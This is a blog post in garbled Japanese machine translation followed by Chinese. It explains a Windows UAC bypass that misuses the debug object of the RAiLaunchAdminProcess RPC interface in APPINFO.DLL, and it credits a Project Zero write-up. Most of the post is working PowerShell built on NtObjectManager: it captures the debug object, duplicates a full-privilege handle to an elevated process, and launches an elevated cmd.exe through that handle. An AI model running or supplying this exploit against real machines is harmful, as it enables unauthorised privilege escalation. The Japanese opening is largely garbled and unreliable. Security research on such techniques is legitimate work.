、レースヶ月の準備更新のブログに最近の時間になることは、何もないただのローカルRPCサービスの記事を呼び出すことで、今日の記事を見て、それがフル充電のブログにもたらした、それは非常に興味深い発見しました。
バージョン1.0のRPCサービスコールインタフェースID APPINFO.DLLですから:201ef99a-7fa0-444c-9399-19ba84f12a1a
RAiLaunchAdminProcessとローカルRPC関数呼び出し
[ UUID(201ef99a -7fa0-444c- 9399 - 19ba84f12a1a)、 バージョン(1.0 ) ]
長いRAiLaunchAdminProcess( handle_t hBinding、 [ 中 ]、[ユニーク] [ 文字列 ]はwchar_t * ExecutablePath、 [ 中 ]、[ユニーク] [ 文字列 ]はwchar_t * のCommandLine、 [ 中 ] 長いStartFlags、 [ 中 ] 長いCreateFlags、 [ 中 ]は、[ 文字列 ] wchar_t型* はcurrentDirectory、 [ 中 ]、[ 文字列 ]はwchar_t * のwindowstation、 [ 中 ] 構造体APP_STARTUP_INFO * STARTUPINFO、 [ における符号なし__int3264のhWnd]、 [ 中 ] 、長いタイムアウト、 [ アウト ] 構造体 APP_PROCESS_INFORMATION * ProcessInformation、 [ アウト ] 長い * ElevationType )。
ALPC(アドバンストローカルプロシージャコール)は回路図を呼び出します。
上に示したようおそらく、少量の水を絵画
UACの手順
1.使用RAiLaunchAdminProcess StartFlagsフラグが新しい非上昇プロセスを作成するために0とセットDEBUG_PROCESSに設定されています。これは、サーバーのRPCスレッドTEB初期化のデバッグオブジェクトフィールドであること、そして新しいプロセスに割り当てられます。
プロセスと2. NtQueryInformationProcessは、ハンドルのデバッグオブジェクトを開くためのハンドルを返します。
3.デバッガを分離し、新しいプロセスを終了することはもはや必要ではありません
4.新しいアップグレードプロセス、セットDEBUG_PROCESSフラグを作成するために、RAiLaunchAdminProcess 1でStartFlagsを設定します。ステップ2で取り込んだ既存のオブジェクトを新しいプロセスに割り当てられているように、オブジェクトが既に、フィールドでのデバッグTEBを初期化されているので。
フルアクセスプロセスハンドルを返します。5.検索初期試運転イベント、。
6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。
首先放上powershell的利用过程:
首先利用powershell的NtObjectManager模块,可以通过
Install-Module "NtObjectManager" -Scope CurrentUser
安装NtObjectManager模块,如果模块存在可以通过以下命令更新
Update-Module -Name NtObjectManager
然后解析APPINFO.DLL提取所有的RPC服务
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" ` | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通过
Get-RpcServerName $rpc
生成一个XML文件
这里用修改后的测试文件
<RpcServerNameData xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager"> <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId> <InterfaceMajorVersion>1</InterfaceMajorVersion> <InterfaceMinorVersion>0</InterfaceMinorVersion> <Procedures> <NdrProcedureNameData> <Index>0</Index> <Name>RAiLaunchAdminProcess</Name> <Parameters> <NdrProcedureParameterNameData> <Index>10</Index> <Name>ProcessInformation</Name> </NdrProcedureParameterNameData> </Parameters> </NdrProcedureNameData> </Procedures> <Structures> <NdrStructureNameData> <Index>0</Index> <Members/> <Name>APP_STARTUP_INFO</Name> </NdrStructureNameData> <NdrStructureNameData> <Index>2</Index> <Members> <NdrStructureMemberNameData> <Index>0</Index> <Name>ProcessHandle</Name> </NdrStructureMemberNameData> </Members> <Name>APP_PROCESS_INFORMATION</Name> </NdrStructureNameData> </Structures> </RpcServerNameData>
将文件保存为names.xml
Get-Content "names.xml" | Set-RpcServerName $rpc
可以通过上述命令将xml文件内容应用于$rpc对象
最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集
$client = Get-RpcClient $rpc
可以通过Format-RpcClient函数查看生成的C#源代码
将客户端链接到本地RPC服务器的ALPC端口
Connect-RpcClient $client
接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性
function Start-Uac { Param( [Parameter(Mandatory, Position = 0)] [string]$Executable, [switch]$RunAsAdmin ) $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor ` [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment $StartInfo = $client.New.APP_STARTUP_INFO() $result = $client.RAiLaunchAdminProcess($Executable, $Executable,` [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,` "C:\", "WinSta0\Default", $StartInfo, 0, -1) if ($result.retval -ne 0) { $ex = [System.ComponentModel.Win32Exception]::new($result.retval) throw $ex } $h = $result.ProcessInformation.ProcessHandle.Value Get-NtObjectFromHandle $h -OwnsHandle }
创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。
$p = Start-Uac "c:\windows\system32\notepad.exe" $dbg = Get-NtDebug -Process $p Stop-NtProcess $p Remove-NtDebugProcess $dbg -Process $p
创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。
但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin $ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg $h = [IntPtr]-1 $new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h Remove-NtDebugProcess $dbg -Process $new_p
此时再以$new_p为父进程生成一个特权权限的cmd进程
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
参考链接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html